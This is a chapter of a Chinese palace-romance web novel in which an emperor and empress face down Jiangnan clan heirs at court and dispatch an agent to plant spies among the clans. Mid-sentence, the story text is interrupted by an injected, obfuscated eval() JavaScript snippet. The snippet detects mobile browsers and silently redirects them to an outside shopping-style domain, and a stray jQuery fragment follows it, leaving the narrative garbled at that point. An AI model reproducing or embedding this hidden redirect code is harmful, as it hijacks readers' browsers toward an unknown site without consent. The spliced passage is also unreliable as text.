冷雪梅靠在他怀中,鼻尖萦绕着他身上的墨香与龙涎香气息,抬手覆盖他环绕腰间的手背上,指尖缓缓摩挲。
暖阁内烛火摇曳,将两人相拥的身影映向屏风。
案上的新政奏报与军务奏折整齐摆放,白日里朝堂共治的沉稳,此刻化作温情缱绻。
权峥凛垂首,唇瓣轻轻落向她的发顶,指尖轻柔地顺着她的发丝缓缓梳理。
一夜温柔相伴,褪去朝堂的威严与杀伐,仅留夫妻间的珍视与缠绵。
次日天刚亮,冷雪梅先醒,起身时动作轻缓,生怕惊扰了身侧的权峥凛。
她缓缓坐起身,整理好身上寝衣,抬手拢了拢散落的发丝,刚要下床,权峥凛便睁开了眼,伸手一把攥住她的手腕,将她拉回怀中。
“不多歇会儿?”权峥凛声音带着刚醒的沙哑,掌心贴着她的腰侧,轻轻按了按,目光落向她脸庞,满是不舍。
冷雪梅转头,指尖轻轻碰了碰他的下颌,“新政刚推行,冷家旧部的奏报今日该到了,需早些处置。”
权峥凛闻言,松开攥着她手腕的手,扶着她起身,自己也跟着坐起身,内侍闻声轻步走入,伺候两人洗漱更衣。
冷雪梅端坐镜前,侍女为她梳理朝髻,权峥凛站立她身侧,亲手拿起一支素银嵌玉簪轻轻插入她的朝髻,细致入微,眼神专注。
权峥凛指尖拂过她的鬓角,低声叮嘱:“今日朝堂若有琐事,不必强撑,朕在。”
冷雪梅点头,“我知晓,夫君放心。”
两人一同用过早膳,权峥凛牵着冷雪梅的手并肩前往金銮殿。
沿途宫人侍卫纷纷躬身行礼,俯首帖耳,帝后同心的模样早已传遍皇宫,无人不知皇后在陛下心中的分量,无人敢轻视半分。
辰时,百官齐聚金銮殿,比往日多了几分异样。
队列末尾站着几位身着锦袍,气质儒雅的男子,皆是江南世家派遣入京的子弟。
为首的乃是江南顾家嫡子顾言琮,身后跟着陆家、李家、周家的世家子弟,全为江南顶尖世家的核心子弟。
百官神色各异,守旧派官员眼底泛起希冀,暗自觉得江南世家入京必能制衡冷家旧部,动摇新政推行。
冷家旧部神色沉稳,静静看着殿内动静,静待帝后临朝。
内侍传报声起,权峥凛牵着冷雪梅步入大殿,两人并肩而行,步伐一致。
落座时,权峥凛先扶冷雪梅坐定凤座,自己才落座龙椅,两椅平齐,威仪尽显。
百官与江南世家子弟齐齐躬身行礼,山呼万岁,声音响彻大殿。
“平身。”权峥凛声音沉稳威严,目光扫过殿内,落向队列末尾的江南世家子弟,眉峰微挑,并未多言,转而看向百官,“今日有何事启奏。”
话音刚落,顾言琮便迈步出列,躬身行礼,“江南顾家子弟顾言琮,携江南众世家子弟,拜见陛下,拜见皇后娘娘,我等奉家族之命入京,一来恭贺新朝稳固,二来为帝后献宝,聊表心意。”
他抬手示意身后随从,两名世家仆从捧着锦盒轻步走上殿,将锦盒呈在丹陛之下,打开盒盖,盒内皆是江南珍稀古玩、名家字画,件件价值不菲。
冷雪梅端坐凤座,指尖轻叩扶手,目光落向顾言琮,静静等候下文。
权峥凛抬手示意内侍将锦盒收起,“江南世家有心,朕收下了。”
顾言琮见帝后反应平淡,心中微定,再次躬身,话锋一转,目光看向凤座上的冷雪梅。
“皇后娘娘出身江南冷氏,乃江南世家之首,我江南众世家素来敬仰娘娘才德,此次入京,一来献宝,二来也想聆听娘娘教诲,知晓娘娘对江南世家的规制,也好让家族安心。”
他顿了顿,抬眼看向冷雪梅,“我等听闻娘娘以冷家旧部推行新政,整饬吏治,我江南世家世代扎根江南,子弟多在地方任职,素来守旧规,盼娘娘念及同出世家之谊,护我江南旧族,莫要因新政伤了世家根基。”
这话一出,霎时间殿内安静至极,守旧派官员暗自窃喜。
江南世家直接将冷雪梅的出身摆上台面,逼她表态,若她偏袒世家,新政必受影响;若她不偏袒,便会被扣上背弃旧族的名头,进退两难。
冷家旧部出身的文臣神色微紧,看向凤座上的冷雪梅,满是担忧。
冷雪梅神色未变,缓缓起身,迈步走到殿中,与顾言琮正面相对,目光平视。
“本宫出身冷氏,自是知晓世家规矩,但本宫如今是永宁皇后,执掌民政,心中唯有江山百姓,无世家派系之分。”
她迈步走到丹陛边,指尖轻指下方的新政条陈,“新政推行,轻徭薄赋、整饬吏治,针对的是贪腐渎职、苛待百姓之辈,无论官阶高低,无论出身世家还是寒门,一视同仁,不偏不倚。”
顾言琮闻言,神色微变,再次躬身,“娘娘怎会无世家之分?我江南世家皆是娘娘同族,娘娘若护我等,我江南众世家必全力效忠帝后,站队朝堂,助娘娘稳固势力;若娘娘执意严苛待世家,恐寒了江南旧族的心,江南之地,怕是难安。”
这话已然是赤裸裸的站队试探,以江南安稳为筹码,逼冷雪梅偏袒世家,承认自己是旧族一派,将新政向世家倾斜。
权峥凛端坐龙椅,脸色渐渐阴沉,周身帝王威压渐浓,见顾言琮步步紧逼,不等冷雪梅开口,便猛地起身快步走下丹陛,站到冷雪梅身侧,伸手一把将她揽到身侧,牢牢护在身后,目光冷冽看向顾言琮。
“皇后的意思便是朕的意思,皇后执掌民政,一视同仁,朕掌兵权,护江山安稳,谁敢以世家身份胁迫皇后,便是与朕,与永宁朝堂为敌。”
权峥凛上前一步,周身兵权威压席卷全场,目光死死盯着顾言琮。
“江南世家扎根江南,理当安分守己,辅佐地方官吏,造福百姓,而非入京试探,妄议朝政,妄图结党。朕不管江南世家过往如何,如今在永宁治下,便要遵新政,守朝规,谁敢阻挠新政,偏袒私族,朕绝不姑息。”
他抬手按住腰间玉佩,杀伐之气尽显,看向全场百官与世家子弟。
“皇后乃朕亲封的皇后,与朕共治天下,她的行事,有朕撑腰,无需旁人以出身裹挟,谁敢再提皇后出身、世家偏袒之言,以谋私论处,逐出京城,永不录用。”
顾言琮被帝王威压震慑,浑身一僵,当即跪地叩首,额头抵着地面,不敢再抬头,身后的江南世家子弟也纷纷跪地,神色惶恐,全然没了方才的试探之意。
冷雪梅站立权峥凛身侧,抬手轻轻拉了拉他的衣袖,示意他息怒,随后迈步上前看向跪地的顾言琮。
“顾公子起身吧,本宫言尽于此,新政面前,人人平等,江南世家若是安分守己,督促族中子弟勤政爱民,自然会受朝堂善待;若是妄图结党谋私,阻挠新政,便是自寻死路。”
她顿了顿,目光扫过众世家子弟,继续道:“你等入京献宝,心意已到,且在京城歇息几日,熟悉京城规制,日后江南世家子弟任职,皆按新政考核,择优录用,无世家特例。”
顾言琮起身,躬身应道:“臣,遵皇后娘娘旨意。”
可他神色间仍旧不甘,却不敢再表露出来。
权峥凛冷冷看着众世家子弟,对着殿外内侍吩咐:“安排江南众世家子弟在京城驿馆歇息,无诏,不得随意出入驿馆,不得私下接触朝臣。”
内侍躬身领命,快步上前,引着江南世家子弟退下大殿。
世家子弟退去后,殿内百官再无异议,冷家旧部纷纷出列,奏报新政推行的最新进展,江南、淮北、鹤东等地赋税减免已逐步落实,吏治核查也稳步推进,百姓安居乐业,无动荡发生。
权峥凛与冷雪梅并肩听奏,一一批复,帝后同心,气场沉稳,朝堂之上再无敢质疑之人。
朝会结束,百官退朝,权峥凛牵着冷雪梅的手缓步走下丹陛,沿着宫道往御书房而去,阳光倾洒两人身上,暖意融融。
冷雪梅指尖扣住他的手,“方才在殿上,你不必动怒,我能应对。”
权峥凛转头看她,目光褪去冷冽,饱含心疼与护犊:“朕不许任何人裹挟你,更不许任何人以出身刁难你,你是朕的皇后,朕自然要护在你身侧,宣示主权,让天下人都知道,你背后有朕,无人敢欺。”
冷雪梅心头一暖,轻轻点头,握紧了他的手并肩前行。
两人步入御书房,权峥凛扶着冷雪梅落座侧案,自己端坐主案,刚落座,冷雪梅便抬手对着身后的女官低声吩咐。
“去传谢无妄入御书房见我,不得声张。”
女官躬身领命,轻步退出御书房。
权峥凛抬眼看向冷雪梅,“你要传谢无妄?可是为了江南世家之事?”
冷雪梅点头,指尖轻敲案上的江南舆图,“江南世家此次入京试探,绝非表面那般简单,暗中必有谋划,他们以为我出身世家,必护旧族,实则我早已布好局,此次正好借机安插暗线,摸清江南世家的底细,防止他们暗中阻挠新政,勾结守旧派。”
不多时,谢无妄轻步走入御书房,他身着素色布衣,气质清逸,眉眼间带着隐居之人的淡然,躬身向帝后行礼。
“草民谢无妄,拜见陛下,皇后娘娘。”
谢无妄隐居山林数时,自幼才学出众,深谙地方民情与世家门道,早年生长于江南,与江南各世家素有交集,却不涉朝堂纷争,冷雪梅早前便暗中联络过他,此次江南世家生事,他是最佳启用人选。
冷雪梅抬手示意他起身,指尖点着案上的江南舆图。
“谢先生,此次召你前来,是有一事托付于你。江南世家派子弟入京试探,心怀不轨,妄图阻挠新政,本宫命你,借着隐居江南的缘由,即刻返回江南,定居姑苏,暗中查访江南各世家的底细,查清他们的族中势力、子弟任职情况、有无贪腐结党、暗中勾结守旧派之事。”
谢无妄躬身,应道:“草民遵娘娘旨意,只是贸然返回江南查访,恐引起世家怀疑,还请娘娘明示行事准则。”
权峥凛端坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722979|208753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主案,提笔写下一道密令,盖上玉玺,递给谢无妄。
“持此密令,江南各地驻军、暗卫皆听你调遣,暗中配合你查访,无需顾忌世家势力,若遇阻挠,可先斩后奏,朕为你撑腰。”
冷雪梅接着开口,从袖中取出一枚银色虎符碎片,递给谢无妄。
“这是本宫的暗线信物,你持此信物,前往江南姑苏的悦来客栈,找掌柜林伯,他是本宫安插在江南的暗线头目,你与他对接,借着隐居办学、游历江南的名义出入各世家府邸,慢慢渗透,将本宫的暗线安插进江南各世家内部,记录世家一举一动,随时向本宫传信。”
谢无妄接过密令与虎符碎片,小心收入怀中,躬身道:“草民明白,定不辱帝后使命,查清江南世家底细,将暗线安插妥当,确保新政在江南顺利推行,不让世家阻挠半分。”
冷雪梅点头,叮嘱道:“你行事需隐秘,不可暴露身份,借着隐居之人的身份,不涉朝堂,只做游历讲学,江南各世家素来敬重隐士文人,不会对你多加防备,正好借机安插暗线,摸清他们的核心谋划。”
谢无妄再次行礼,“草民谨记娘娘叮嘱,即刻动身,前往江南,绝不耽搁。”
权峥凛抬眼看向谢无妄,“路上注意安全,暗卫会暗中护送你,抵达江南后,暗中行事,有任何异动立刻传信回京,朕与皇后会随时接应。”
谢无妄躬身谢恩,转身轻步退出御书房,即刻收拾行装离京前往江南,借着隐居游历的名义避开众人耳目,顺利潜入江南腹地。
御书房内,冷雪梅端坐案前,指尖摩挲着江南官吏名册,将顾、陆、李、周四大世家的子弟任职之处一一标注。
冷雪梅目光坚定,“谢无妄生于江南,熟悉世家门道,又有暗线配合,定能顺利安插人手,摸清江南世家的底细,待暗线安插妥当,江南世家的一举一动,便尽在我们掌握之中,再也无法暗中阻挠新政。”
权峥凛起身走到她身边,伸手揽住她肩头,轻轻拍了拍,“朕信你,更信谢无妄,你布局周密,安插暗线,既能摸清世家动向,又能为新政扫清障碍,江南之地,很快便能安稳,天下归心,指日可待。”
他顿了顿,继续道:“朕已下令,禁军暗中监视驿馆中的江南世家子弟,他们若有私下联络朝臣、传递消息之举,立刻拿下,绝不姑息,为你扫清京城内的世家势力。”
冷雪梅抬眸看他,“有你护着,我布局便无后顾之忧,江南世家以为用出身便能裹挟我,殊不知,我早已做好万全准备,此次他们主动入京试探,正好给了我们安插暗线的机会,日后江南世家,再也无法兴风作浪。”
两人并肩站立案前看着江南舆图,一同比对世家势力范围,商议暗线传信的方式,动作默契,话语间皆是对朝局的把控,对新政的笃定。
午后,驿馆内的江南世家子弟果然试图暗中联络守旧派官员,被禁军当场抓获,搜出传递消息的书信,信中皆是商议如何阻挠新政、拉拢冷家旧部、扶持世家势力的内容。
禁军将人押入御书房,呈上书信,权峥凛看完书信,面色冷冽,提笔下令,将涉事的世家子弟逐出京城,永世不得入京,同时将书信公示朝堂,震慑守旧派官员与江南世家。
冷雪梅端坐侧案看着公示的书信,对着冷行舟吩咐:“即刻加大江南吏治核查力度,配合谢无妄的暗线,清查世家任职子弟,有贪腐渎职者,依法处置,绝不姑息,新政推行,绝不因世家而有所偏颇。”
冷行舟躬身领命,即刻着手安排,江南新政推行力度愈发加大,守旧派官员与江南世家慑于帝后威严,再也不敢轻举异动,新政落地愈发顺利。
夜色渐深,权峥凛与冷雪梅携手返回中宫暖阁,案上摆放着谢无妄离京后传来的第一封密信。
信中言明已顺利抵达江南姑苏,正与林伯对接,准备以讲学为名接触江南顾家,伺机安插暗线。
冷雪梅看完密信,将密信交由权峥凛查看。
权峥凛看完,抬手将密信烧毁,指尖摩挲着她的发丝。
“一切都在按你的布局进行,暗线安插妥当,江南世家便成了瓮中之鳖,再也无法阻挠新政,天下归心,基业百年稳固,皆在此举。”
冷雪梅靠入他怀中,“此次世家试探,看似危机,实则契机,既能让我们借机震慑朝野,又能安插暗线掌控江南世家,为新政扫清障碍,也让天下人都知道,你我共治,不偏不倚,只为江山百姓。”
权峥凛收紧手臂将她拥得更紧,下巴抵着她的发顶,“朕会一直护在你身侧,你布局,朕护航,无论世家还是旧臣,谁敢阻你,朕便除之,这江山有你有朕,必定稳固,这盛世必定如期而至。”
暖阁内烛火摇曳,温情满溢。
此后几日,谢无妄接连传来密信,已顺利接触江南顾家,借着讲学获得顾家信任,成功将两名暗线安插进顾家核心。
同时,他与陆家、李家、周家逐步接触,暗线布局稳步推进,江南世家的一举一动,传回京城。